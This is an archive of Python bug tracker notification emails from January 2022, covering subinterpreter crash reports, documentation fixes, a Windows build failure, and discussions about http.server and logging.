Message-ID: <1641577271.92.0.312520976015.issue46295@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- resolution: -> duplicate stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 12:41:22 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Fri, 07 Jan 2022 17:41:22 +0000 Subject: [issue46295] Subinterpreters hang in GIL adquisition if an extension module calls PyGILState_Ensure. In-Reply-To: <1641568695.11.0.970529706088.issue46295@roundup.psfhosted.org> Message-ID: <1641577282.92.0.395024234089.issue46295@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Yeah, this is indeed related/duplicate of bpo-15751 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 12:41:32 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Fri, 07 Jan 2022 17:41:32 +0000 Subject: [issue46295] Subinterpreters hang in GIL adquisition if an extension module calls PyGILState_Ensure. In-Reply-To: <1641568695.11.0.970529706088.issue46295@roundup.psfhosted.org> Message-ID: <1641577292.96.0.80362887298.issue46295@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- superseder: -> [subinterpreters] Make the PyGILState API compatible with subinterpreters _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 12:45:00 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 07 Jan 2022 17:45:00 +0000 Subject: [issue46070] [subinterpreters] asyncio crash when importing _asyncio in subinterpreter (Python 3.8 regression) In-Reply-To: <1639479470.16.0.0957612092108.issue46070@roundup.psfhosted.org> Message-ID: <1641577500.22.0.922384349932.issue46070@roundup.psfhosted.org> STINNER Victor added the comment: In the 3.9 branch, the commit 4d2cfd354969590ba8e0af0447fd84f8b5e61952 fixed the _asyncio extension. win_py399_crash_reproducer.py still branch on Windows in the 3.9 branch. The code can be simplified with: code = "import _sre" Moreover, even if I modify PyInit__sre() to only call PyModule_Create(), it does still crash. I can still reproduce the crash with the following simplified _sre.c code: --- static PyMethodDef _functions[] = { _SRE_COMPILE_METHODDEF {NULL, NULL} }; static struct PyModuleDef sremodule = { PyModuleDef_HEAD_INIT, "_" SRE_MODULE, NULL, -1, _functions, NULL, NULL, NULL, NULL }; PyMODINIT_FUNC PyInit__sre(void) { return PyModule_Create(&sremodule); } --- If _SRE_COMPILE_METHODDEF is removd from _functions, the script no longer crash. Is there something specific about method objects? Is it safe to share them between multiple interpreters? See my message msg408662 which gives some details. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 13:28:19 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 07 Jan 2022 18:28:19 +0000 Subject: [issue46216] spurious link to os.system() from os.times() documentation entry In-Reply-To: <1640995250.13.0.0626118666649.issue46216@roundup.psfhosted.org> Message-ID: <1641580099.02.0.445069305741.issue46216@roundup.psfhosted.org> miss-islington added the comment: New changeset 9b7aa6a9d678ba798c57fa5bbc800014dfe4fb91 by Irit Katriel in branch 'main': bpo-46216: remove spurious link to os.system() from os.time() documentation (GH-30326) https://github.com/python/cpython/commit/9b7aa6a9d678ba798c57fa5bbc800014dfe4fb91 ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 13:28:21 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 07 Jan 2022 18:28:21 +0000 Subject: [issue46216] spurious link to os.system() from os.times() documentation entry In-Reply-To: <1640995250.13.0.0626118666649.issue46216@roundup.psfhosted.org> Message-ID: <1641580101.54.0.148759797062.issue46216@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28662 pull_request: https://github.com/python/cpython/pull/30459 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 13:28:25 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 07 Jan 2022 18:28:25 +0000 Subject: [issue46216] spurious link to os.system() from os.times() documentation entry In-Reply-To: <1640995250.13.0.0626118666649.issue46216@roundup.psfhosted.org> Message-ID: <1641580105.8.0.120312613524.issue46216@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28663 pull_request: https://github.com/python/cpython/pull/30460 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 13:30:42 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 07 Jan 2022 18:30:42 +0000 Subject: [issue46217] 3.11 build failure on Win10: new _freeze_module changes? In-Reply-To: <1641000516.27.0.500789613902.issue46217@roundup.psfhosted.org> Message-ID: <1641580242.96.0.760773403658.issue46217@roundup.psfhosted.org> Terry J. Reedy added the comment: Let me be clearer. This bug prevents me from building main (3.11) to test anything with a proper up-to-date 3.11 binary. So to me this is highest priority. Is this just my machine or every Windows system? How are CI and buildbots rebuilding and running? Is there some workaround I need to add? Use newer VC (and change devguide)? ---------- priority: normal -> release blocker stage: -> backport needed type: -> compile error _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 13:30:52 2022 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Fri, 07 Jan 2022 18:30:52 +0000 Subject: [issue46227] add pathlib.Path.walk method In-Reply-To: <1641148452.74.0.627954460368.issue46227@roundup.psfhosted.org> Message-ID: <1641580252.68.0.967354485117.issue46227@roundup.psfhosted.org> ?ric Araujo added the comment: The idea is interesting, and I agree that glob with a maxi wildcard is not a great solution. There is discussion on the PR about adding walk vs extending iterdir; could you post a message on discuss.python.org and sum up the the discussion? (Pull requests on the CPython repo are only used to discuss implementation, not for debating ideas or proposing features.) ---------- nosy: +eric.araujo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 13:32:22 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 07 Jan 2022 18:32:22 +0000 Subject: [issue15751] [subinterpreters] Make the PyGILState API compatible with subinterpreters In-Reply-To: <1345526301.75.0.455071650321.issue15751@psf.upfronthosting.co.za> Message-ID: <1641580342.5.0.362039739488.issue15751@roundup.psfhosted.org> STINNER Victor added the comment: The bpo-46295 was marked as a duplicate of this issue. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 13:36:38 2022 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Fri, 07 Jan 2022 18:36:38 +0000 Subject: [issue46264] 'I'.lower() should give non dotted i for LANG=tr_TR In-Reply-To: <1641354234.77.0.411418528996.issue46264@roundup.psfhosted.org> Message-ID: <1641580598.93.0.0410338461095.issue46264@roundup.psfhosted.org> ?ric Araujo added the comment: I suppose the casefold method does not help? https://docs.python.org/3.10/library/stdtypes.html#str.casefold ---------- nosy: +eric.araujo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 13:38:27 2022 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Fri, 07 Jan 2022 18:38:27 +0000 Subject: [issue46279] [docs] Minor information-ordering issue in __main__ doc In-Reply-To: <1641473828.81.0.215625634201.issue46279@roundup.psfhosted.org> Message-ID: <1641580707.56.0.675333125633.issue46279@roundup.psfhosted.org> ?ric Araujo added the comment: Do you have a suggestion on how to fix this? ---------- nosy: +eric.araujo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 13:39:01 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 07 Jan 2022 18:39:01 +0000 Subject: [issue24650] Error in yield expression documentation In-Reply-To: <1437116019.06.0.685229534138.issue24650@psf.upfronthosting.co.za> Message-ID: <1641580741.96.0.0694798401612.issue24650@roundup.psfhosted.org> Change by Irit Katriel : ---------- versions: +Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 13:39:48 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 07 Jan 2022 18:39:48 +0000 Subject: [issue24650] Error in yield expression documentation In-Reply-To: <1437116019.06.0.685229534138.issue24650@psf.upfronthosting.co.za> Message-ID: <1641580788.61.0.752756173252.issue24650@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 5.0 -> 6.0 pull_requests: +28664 pull_request: https://github.com/python/cpython/pull/30461 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 13:39:53 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 07 Jan 2022 18:39:53 +0000 Subject: [issue24650] Error in yield expression documentation In-Reply-To: <1437116019.06.0.685229534138.issue24650@psf.upfronthosting.co.za> Message-ID: <1641580793.15.0.233243735456.issue24650@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28665 pull_request: https://github.com/python/cpython/pull/30462 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 13:39:56 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 07 Jan 2022 18:39:56 +0000 Subject: [issue24650] Error in yield expression documentation In-Reply-To: <1437116019.06.0.685229534138.issue24650@psf.upfronthosting.co.za> Message-ID: <1641580796.35.0.953293428634.issue24650@roundup.psfhosted.org> Irit Katriel added the comment: New changeset 273cb8e7577d143830404f6779946a0bedb58758 by Jacob Walls in branch 'main': bpo-24650: Use full term "generator function" in yield expressions docs (GH-24663) https://github.com/python/cpython/commit/273cb8e7577d143830404f6779946a0bedb58758 ---------- nosy: +iritkatriel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 13:48:35 2022 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Fri, 07 Jan 2022 18:48:35 +0000 Subject: [issue46282] print() docs do not indicate its return value In-Reply-To: <1641482082.12.0.793901620769.issue46282@roundup.psfhosted.org> Message-ID: <1641581315.76.0.103986419295.issue46282@roundup.psfhosted.org> Change by ?ric Araujo : ---------- nosy: +eric.araujo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 13:50:17 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 07 Jan 2022 18:50:17 +0000 Subject: [issue46216] spurious link to os.system() from os.times() documentation entry In-Reply-To: <1640995250.13.0.0626118666649.issue46216@roundup.psfhosted.org> Message-ID: <1641581417.46.0.40278056945.issue46216@roundup.psfhosted.org> miss-islington added the comment: New changeset 6630952cf0955d205e48874a53b69868c97b8875 by Miss Islington (bot) in branch '3.10': bpo-46216: remove spurious link to os.system() from os.time() documentation (GH-30326) https://github.com/python/cpython/commit/6630952cf0955d205e48874a53b69868c97b8875 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 13:50:27 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 07 Jan 2022 18:50:27 +0000 Subject: [issue46220] imaplib.py "select" mailbox names containing spaces. In-Reply-To: <1641042503.75.0.727332704149.issue46220@roundup.psfhosted.org> Message-ID: <1641581427.43.0.148986969895.issue46220@roundup.psfhosted.org> Terry J. Reedy added the comment: I presume you mean the mailbox parameter of imaplib.IMAP.select(). https://docs.python.org/3/library/imaplib.html#imaplib.IMAP4.select IMAP4.select(mailbox='INBOX', readonly=False) Select a mailbox. Returned data is the count of messages in mailbox (EXISTS response). The default mailbox is 'INBOX'. If the readonly flag is set, modifications to the mailbox are not allowed. Enhancements only go into future releases. Please make sure that the current main branch does not have the feature you are requesting. Neither our doc nor https://datatracker.ietf.org/doc/html/rfc2060.html contain '2822', so you might be requesting something not supported. There is no active maintainer for this module, so response from someone familiar with imaplib may take awhile. ---------- nosy: +terry.reedy versions: +Python 3.11 -Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 13:51:11 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 07 Jan 2022 18:51:11 +0000 Subject: [issue46223] asyncio cause infinite loop during debug In-Reply-To: <1641094564.17.0.420361476444.issue46223@roundup.psfhosted.org> Message-ID: <1641581471.38.0.293056629301.issue46223@roundup.psfhosted.org> Change by Terry J. Reedy : ---------- components: +asyncio nosy: +asvetlov, yselivanov _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 13:58:23 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 07 Jan 2022 18:58:23 +0000 Subject: [issue46291] [doc] First argument to raise can also be BaseException In-Reply-To: <1641562217.88.0.523387156492.issue46291@roundup.psfhosted.org> Message-ID: <1641581903.61.0.46159180879.issue46291@roundup.psfhosted.org> Irit Katriel added the comment: If you scroll up, you can see that BaseException was mentioned above: "All exceptions inherit from BaseException, and so it can be used to serve as a wildcard" so I don't think it will add confusion to fix this. And it will be more accurate. Gregor, would you like to submit a patch? ---------- nosy: +iritkatriel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 14:00:48 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 07 Jan 2022 19:00:48 +0000 Subject: [issue24650] Error in yield expression documentation In-Reply-To: <1437116019.06.0.685229534138.issue24650@psf.upfronthosting.co.za> Message-ID: <1641582048.61.0.95277122912.issue24650@roundup.psfhosted.org> miss-islington added the comment: New changeset 8bc68140cbe8230cf048bc04faf927c1413066d1 by Miss Islington (bot) in branch '3.9': bpo-24650: Use full term "generator function" in yield expressions docs (GH-24663) https://github.com/python/cpython/commit/8bc68140cbe8230cf048bc04faf927c1413066d1 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 14:01:30 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 07 Jan 2022 19:01:30 +0000 Subject: [issue46216] spurious link to os.system() from os.times() documentation entry In-Reply-To: <1640995250.13.0.0626118666649.issue46216@roundup.psfhosted.org> Message-ID: <1641582090.56.0.693798542585.issue46216@roundup.psfhosted.org> Irit Katriel added the comment: New changeset c55616cf936bd8497d9ff321c03f7379f5f78a0e by Miss Islington (bot) in branch '3.9': bpo-46216: remove spurious link to os.system() from os.time() documentation (GH-30326) (GH-30460) https://github.com/python/cpython/commit/c55616cf936bd8497d9ff321c03f7379f5f78a0e ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 14:01:37 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 07 Jan 2022 19:01:37 +0000 Subject: [issue24650] Error in yield expression documentation In-Reply-To: <1437116019.06.0.685229534138.issue24650@psf.upfronthosting.co.za> Message-ID: <1641582097.44.0.455777511495.issue24650@roundup.psfhosted.org> miss-islington added the comment: New changeset 75a1865d1ce352909ad9a30d001486bbd7d3ed75 by Miss Islington (bot) in branch '3.10': [3.10] bpo-24650: Use full term "generator function" in yield expressions docs (GH-24663) (GH-30461) https://github.com/python/cpython/commit/75a1865d1ce352909ad9a30d001486bbd7d3ed75 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 14:01:54 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 07 Jan 2022 19:01:54 +0000 Subject: [issue46216] spurious link to os.system() from os.times() documentation entry In-Reply-To: <1640995250.13.0.0626118666649.issue46216@roundup.psfhosted.org> Message-ID: <1641582114.43.0.597193578413.issue46216@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 14:02:36 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 07 Jan 2022 19:02:36 +0000 Subject: [issue24650] Error in yield expression documentation In-Reply-To: <1437116019.06.0.685229534138.issue24650@psf.upfronthosting.co.za> Message-ID: <1641582156.61.0.277457377637.issue24650@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 14:05:38 2022 From: report at bugs.python.org (Andre Roberge) Date: Fri, 07 Jan 2022 19:05:38 +0000 Subject: [issue46291] [doc] First argument to raise can also be BaseException In-Reply-To: <1641562217.88.0.523387156492.issue46291@roundup.psfhosted.org> Message-ID: <1641582338.6.0.105268245717.issue46291@roundup.psfhosted.org> Andre Roberge added the comment: In https://docs.python.org/3/library/exceptions.html#Exception, it is written: "All built-in, non-system-exiting exceptions are derived from this class. All user-defined exceptions should also be derived from this class." Yes, technically, the root of all exceptions is BaseException. However, this seems to indicate that the advice given in the tutorial is correct. ---------- nosy: +aroberge _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 14:07:03 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 07 Jan 2022 19:07:03 +0000 Subject: [issue42209] Incorrect line reported in syntax error In-Reply-To: <1604071774.71.0.0589140009748.issue42209@roundup.psfhosted.org> Message-ID: <1641582423.17.0.149982096399.issue42209@roundup.psfhosted.org> Terry J. Reedy added the comment: Arian-f's new issue is #46237. ---------- nosy: +terry.reedy superseder: -> Incorrect line reported in syntax error _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 14:10:07 2022 From: report at bugs.python.org (Eric V. Smith) Date: Fri, 07 Jan 2022 19:10:07 +0000 Subject: [issue46237] Incorrect line reported in syntax error In-Reply-To: <1641195913.64.0.431874358772.issue46237@roundup.psfhosted.org> Message-ID: <1641582607.33.0.575510045459.issue46237@roundup.psfhosted.org> Change by Eric V. Smith : ---------- nosy: +eric.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 14:10:55 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 07 Jan 2022 19:10:55 +0000 Subject: [issue46237] Incorrect line reported in syntax error In-Reply-To: <1641195913.64.0.431874358772.issue46237@roundup.psfhosted.org> Message-ID: <1641582655.57.0.109017820845.issue46237@roundup.psfhosted.org> Terry J. Reedy added the comment: Since #42209 was closed, a new issue seems OK. As a result of the incorrect line number, IDLE highlights one of the opening quotes on line 1. ---------- nosy: +pablogsal, terry.reedy -eric.smith versions: +Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 14:11:11 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 07 Jan 2022 19:11:11 +0000 Subject: [issue46237] Incorrect line reported in syntax error In-Reply-To: <1641195913.64.0.431874358772.issue46237@roundup.psfhosted.org> Message-ID: <1641582671.07.0.775216714612.issue46237@roundup.psfhosted.org> Change by Terry J. Reedy : ---------- stage: -> needs patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 14:16:58 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 07 Jan 2022 19:16:58 +0000 Subject: [issue46291] [doc] First argument to raise can also be BaseException In-Reply-To: <1641562217.88.0.523387156492.issue46291@roundup.psfhosted.org> Message-ID: <1641583018.05.0.71639056114.issue46291@roundup.psfhosted.org> Irit Katriel added the comment: Andre, I don't follow. The OP is reporting an issue with a line about raising exceptions. Why is it correct to advise us to raise only Exception subclasses? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 14:18:13 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Fri, 07 Jan 2022 19:18:13 +0000 Subject: [issue46237] Incorrect line reported in syntax error In-Reply-To: <1641195913.64.0.431874358772.issue46237@roundup.psfhosted.org> Message-ID: <1641583093.93.0.310006235684.issue46237@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- nosy: +eric.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 14:19:14 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Fri, 07 Jan 2022 19:19:14 +0000 Subject: [issue46237] Incorrect line reported in syntax error In-Reply-To: <1641195913.64.0.431874358772.issue46237@roundup.psfhosted.org> Message-ID: <1641583154.05.0.675985580941.issue46237@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: This also affects 3.9 I imagine, no? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 14:21:50 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 07 Jan 2022 19:21:50 +0000 Subject: [issue46070] [subinterpreters] asyncio crash when importing _asyncio in subinterpreter (Python 3.8 regression) In-Reply-To: <1639479470.16.0.0957612092108.issue46070@roundup.psfhosted.org> Message-ID: <1641583310.28.0.287509871505.issue46070@roundup.psfhosted.org> STINNER Victor added the comment: The _sre crash has a complex history in the 3.9 branch: * (1) 2019-11-20, commit 7247407c35330f3f6292f1d40606b7ba6afd5700: first CRASH! The parent commit (488d02a24142948bfb1fafd19fa48e61fcbbabc5) doesn't crash. * (2) 2019-11-22, commit 82c83bd907409c287a5bd0d0f4598f2c0538f34d: no crash (fix/workaround the crash) * (3) 2021-10-05, commit 52d9d3b75441ae6038fadead89eac5eecdd34501: crash again! (somehow revert the previous fix/workaround the crash, but fix another bug) It seems like the initial regression comes from this change: commit 7247407c35330f3f6292f1d40606b7ba6afd5700 Author: Victor Stinner Date: Wed Nov 20 12:25:50 2019 +0100 bpo-36854: Move _PyRuntimeState.gc to PyInterpreterState (GH-17287) * Rename _PyGC_InitializeRuntime() to _PyGC_InitState() * finalize_interp_clear() now also calls _PyGC_Fini() in subinterpreters (clear the GC state). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 14:24:07 2022 From: report at bugs.python.org (Vinay Sajip) Date: Fri, 07 Jan 2022 19:24:07 +0000 Subject: [issue46292] Add microseconds to logging.LogRecord In-Reply-To: <1641564710.75.0.603666211799.issue46292@roundup.psfhosted.org> Message-ID: <1641583447.82.0.906383849868.issue46292@roundup.psfhosted.org> Vinay Sajip added the comment: Thanks for the patch. We're need to get contributors to sign a Contributor License Agreement (CLA) before we can accept their patches. Would you be willing to do this? The process could be smoother, but it's not too bad, and here's where you get started: https://www.python.org/psf/contrib/contrib-form/ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 14:30:40 2022 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Fri, 07 Jan 2022 19:30:40 +0000 Subject: [issue46285] http/server.py wont respect its protocol_version In-Reply-To: <1641494361.52.0.586828537376.issue46285@roundup.psfhosted.org> Message-ID: <1641583840.79.0.401450977554.issue46285@roundup.psfhosted.org> ?ric Araujo added the comment: Hello and thanks for the report! Could you tell more about what you?re trying to achieve? Some notes: You are not meant to change the code of provided modules, but to instantiate classes with the right parameters, or subclass in your own code to change how some methods work. Supporting HTTP 1/1 is not just changing the protocol string, but also about supporting the actual behaviours defined in the 1.1 spec! If the module has a parameter for version and it doesn?t work, then you can report a bug. If there is no such parameter, you can open a feature request to ask for HTTP 1.1 support. ---------- nosy: +eric.araujo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 14:32:21 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 07 Jan 2022 19:32:21 +0000 Subject: [issue46291] [doc] First argument to raise can also be BaseException In-Reply-To: <1641562217.88.0.523387156492.issue46291@roundup.psfhosted.org> Message-ID: <1641583941.41.0.155461888684.issue46291@roundup.psfhosted.org> Irit Katriel added the comment: There are other issues in this doc: 1. The paragraph starting with "The except clause may specify a variable after the exception name.." appears after this face was used in an example. It should move up. 2. In the User-defined Exceptions Section, there is a link to the Classes tutorial in the beginning "(See Classes for more about Python classes)", and another one at the end, "More information on classes it presented in chapter Classes". The second one can be removed. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 14:33:21 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 07 Jan 2022 19:33:21 +0000 Subject: [issue46070] [subinterpreters] crash when importing _sre in subinterpreters in parallel (Python 3.9 regression) In-Reply-To: <1639479470.16.0.0957612092108.issue46070@roundup.psfhosted.org> Message-ID: <1641584001.03.0.803235589411.issue46070@roundup.psfhosted.org> Change by STINNER Victor : ---------- title: [subinterpreters] asyncio crash when importing _asyncio in subinterpreter (Python 3.8 regression) -> [subinterpreters] crash when importing _sre in subinterpreters in parallel (Python 3.9 regression) _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 14:34:22 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Fri, 07 Jan 2022 19:34:22 +0000 Subject: [issue46237] Incorrect line reported in syntax error In-Reply-To: <1641195913.64.0.431874358772.issue46237@roundup.psfhosted.org> Message-ID: <1641584062.35.0.0643625509636.issue46237@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- keywords: +patch pull_requests: +28666 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/30463 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 14:34:25 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 07 Jan 2022 19:34:25 +0000 Subject: [issue46291] [doc] First argument to raise can also be BaseException In-Reply-To: <1641562217.88.0.523387156492.issue46291@roundup.psfhosted.org> Message-ID: <1641584065.5.0.482957031882.issue46291@roundup.psfhosted.org> Change by Irit Katriel : ---------- versions: -Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 14:35:04 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 07 Jan 2022 19:35:04 +0000 Subject: [issue46291] [doc] First argument to raise can also be BaseException In-Reply-To: <1641562217.88.0.523387156492.issue46291@roundup.psfhosted.org> Message-ID: <1641584104.7.0.957485833689.issue46291@roundup.psfhosted.org> Change by Irit Katriel : ---------- keywords: +easy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 14:36:13 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 07 Jan 2022 19:36:13 +0000 Subject: [issue46070] [subinterpreters] crash when importing _sre in subinterpreters in parallel (Python 3.9 regression) In-Reply-To: <1639479470.16.0.0957612092108.issue46070@roundup.psfhosted.org> Message-ID: <1641584173.28.0.0738538964196.issue46070@roundup.psfhosted.org> STINNER Victor added the comment: This bug is hard to reproduce for different reasons: * It occurs randomly: I need between 1 and 50 attempts to reproduce the bug using win_py399_crash_reproducer.py * So far, the bug was only reproduced on Windows. * I failed to reproduce the crash on Linux. I tried PYTHONMALLOC=malloc and PYTHONMALLOC=malloc_debug with and without LD_PRELOAD=/usr/lib64/libjemalloc.so.2 (jemalloc memory allocator). * The _sre extension has been converted to multi-phase init in Python 3.10. "import _sre" is no longer enough to reproduce the crash on Python 3.10 and newer. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 14:38:40 2022 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Fri, 07 Jan 2022 19:38:40 +0000 Subject: [issue46285] http/server.py wont respect its protocol_version In-Reply-To: <1641494361.52.0.586828537376.issue46285@roundup.psfhosted.org> Message-ID: <1641584320.57.0.814187471707.issue46285@roundup.psfhosted.org> ?ric Araujo added the comment: I understand your report better after looking at the code. There is indeed a protocol_version parameter in the test function (which is really a main function, not test), that sets the protocol attribute on the passed handler class. (The class attribute is changed, which seems like a bug!) The BaseHTTPRequestHandler class does have support for HTTP 1.1 (adds automatic keep-alive). So if we ignore the distraction that OP changed the source code, and imaging instead that they called `test(protocol="HTTP/1.1")`, then there would be a bug if the requests went out as HTTP/1.0. Hugo, can you attach a minimal reproducer? (a python script as small as possible to show the problem ? don?t edit code in http.server but call the http.server.test function with your own code) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 14:40:22 2022 From: report at bugs.python.org (Steve Dower) Date: Fri, 07 Jan 2022 19:40:22 +0000 Subject: [issue46217] 3.11 build failure on Win10: new _freeze_module changes? In-Reply-To: <1641000516.27.0.500789613902.issue46217@roundup.psfhosted.org> Message-ID: <1641584422.86.0.728148473165.issue46217@roundup.psfhosted.org> Steve Dower added the comment: Only a newer WinSDK, which is not in any way a significant change to the resulting build and so isn't part of the "spec" as it were. But we'll remove the use of this flag once someone has the time to make a PR. (Remember to add the RM when you declare something a release blocker or the release may not be blocked.) ---------- nosy: +pablogsal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 14:41:35 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 07 Jan 2022 19:41:35 +0000 Subject: [issue28546] [doc] Clarify setting pdb breakpoints In-Reply-To: <1477659342.78.0.0469891681289.issue28546@psf.upfronthosting.co.za> Message-ID: <1641584495.75.0.656390593367.issue28546@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 5.0 -> 6.0 pull_requests: +28667 pull_request: https://github.com/python/cpython/pull/30464 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 14:41:39 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 07 Jan 2022 19:41:39 +0000 Subject: [issue28546] [doc] Clarify setting pdb breakpoints In-Reply-To: <1477659342.78.0.0469891681289.issue28546@psf.upfronthosting.co.za> Message-ID: <1641584499.72.0.451620340275.issue28546@roundup.psfhosted.org> Irit Katriel added the comment: New changeset 6d07a9fb7cb31433c376a1aa20ea32001da0a418 by Hugo van Kemenade in branch 'main': bpo-28546: [doc] Clarify setting pdb breakpoints (GH-30360) https://github.com/python/cpython/commit/6d07a9fb7cb31433c376a1aa20ea32001da0a418 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 14:41:40 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 07 Jan 2022 19:41:40 +0000 Subject: [issue28546] [doc] Clarify setting pdb breakpoints In-Reply-To: <1477659342.78.0.0469891681289.issue28546@psf.upfronthosting.co.za> Message-ID: <1641584500.28.0.176308480258.issue28546@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28668 pull_request: https://github.com/python/cpython/pull/30465 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 14:51:48 2022 From: report at bugs.python.org (Steve Dower) Date: Fri, 07 Jan 2022 19:51:48 +0000 Subject: [issue45925] Upgrade macOS and Windows installers to use SQLite 